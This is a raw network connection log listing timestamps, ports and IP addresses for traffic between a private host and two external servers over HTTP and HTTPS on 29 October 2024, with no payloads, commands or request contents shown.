Oct 29, 2024 17:59:16.300520897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300555944 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300574064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300590038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300604105 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300625086 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.300632954 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.300673962 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.301304102 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.301342010 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.301364899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.301377058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.301384926 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.301410913 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.301424026 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.301446915 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.301462889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.301496029 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.375533104 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375574112 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375607967 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375652075 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.375699043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.375855923 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375886917 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375921011 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375927925 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.375950098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.375972033 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.375974894 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.376020908 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.376110077 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.376143932 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.376162052 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.376189947 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.376195908 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.376254082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.388418913 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.388900042 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.388919115 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.389514923 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.389520884 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.390460014 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.390847921 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.390865088 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.391241074 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.391246080 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.416901112 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.416941881 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.416976929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.416977882 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417010069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417032003 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417267084 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.417330027 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417412996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.417469025 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417469978 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.417521954 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.417527914 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417556047 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.417572975 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417589903 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.417599916 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.417634010 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418009996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418045044 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418068886 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418080091 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418088913 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418114901 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418124914 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418160915 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418484926 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418519020 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418543100 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418553114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418565989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418587923 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.418600082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.418634892 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.459682941 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.459719896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.459734917 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.459791899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.459835052 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.492221117 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.492247105 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.492261887 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.492321014 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.492362976 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.493092060 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493108034 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493122101 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493160009 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.493182898 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.493217945 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493231058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493268013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.493345022 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493367910 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.493396997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.493434906 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.519579887 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.520041943 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.520127058 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.520184994 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.520184994 CET	49744	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.520215988 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.520240068 CET	443	49744	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.520720959 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.520778894 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.520836115 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.521112919 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.521132946 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.521161079 CET	49745	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.521167040 CET	443	49745	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.524009943 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.524044991 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.524112940 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.524749041 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.524760962 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.525382042 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.525420904 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.525517941 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.525716066 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.525729895 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.533268929 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.533793926 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.533814907 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.533999920 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534029007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534044027 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534061909 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.534097910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.534187078 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.534200907 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.534652948 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534684896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534715891 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.534720898 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534734011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.534738064 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534754992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.534759045 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.534779072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.534806967 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535007000 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535044909 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535059929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535063028 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535074949 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535084963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535104036 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535120964 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535141945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535161972 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535761118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535778046 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535795927 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.535810947 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.535839081 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.565212965 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.565673113 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.565705061 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.566046953 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.566052914 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.576956987 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.576977968 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.577002048 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.577033997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.577064991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.609555006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.609580040 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.609596968 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.609695911 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.609695911 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.610168934 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610235929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610251904 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610251904 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.610268116 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610299110 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.610321999 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.610438108 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610476971 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610492945 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.610512018 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.610630989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.610630989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.651273012 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.651299000 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.651328087 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.651433945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.651433945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652158022 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652208090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652225018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652237892 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652291059 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652307034 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652311087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652311087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652323961 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652384043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652384043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652384043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652828932 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652847052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652863979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652880907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652898073 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.652932882 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.652932882 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.653007984 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.653559923 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.653578997 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.653595924 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.653625011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.653661013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.665498972 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.665565968 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.665638924 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.665846109 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.665868998 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.665882111 CET	49746	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.665898085 CET	443	49746	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.668540955 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.668596029 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.668675900 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.668869972 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.668884039 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.694889069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.694914103 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.694931030 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.695230007 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.695230007 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.698784113 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.699896097 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.699960947 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.700016022 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.700038910 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.700053930 CET	49747	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.700059891 CET	443	49747	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.703147888 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.703187943 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.703340054 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.703484058 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:16.703502893 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:16.726809978 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.726830006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727024078 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727037907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727132082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727132082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727272034 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727287054 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727334976 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727413893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727431059 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727447987 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727464914 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727479935 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727555990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727555990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727555990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.727943897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727961063 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.727977037 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.728043079 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.728043079 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.784938097 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.784992933 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785012007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785017967 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785027981 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785042048 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785044909 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785062075 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785082102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785082102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785125971 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785306931 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785337925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785362005 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785375118 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785377979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785394907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785410881 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.785415888 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785417080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785473108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.785473108 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.786221027 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.786253929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.786267042 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.786299944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.786319971 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.812160969 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.812236071 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.812254906 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.812272072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.812298059 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.812386036 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846446991 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846570015 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846594095 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846609116 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846611977 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846627951 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846637011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846637011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846643925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846666098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846707106 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846724033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846785069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846821070 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846837044 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846853018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.846904993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.846904993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.887417078 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.887439013 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.887455940 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.887495041 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.887533903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.902715921 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902765036 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902796984 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902829885 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902838945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.902846098 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902879000 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.902882099 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902899981 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902913094 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.902931929 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:16.902942896 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:16.902951956 CET	80	49722	185.215.113.206	192.168.2.6
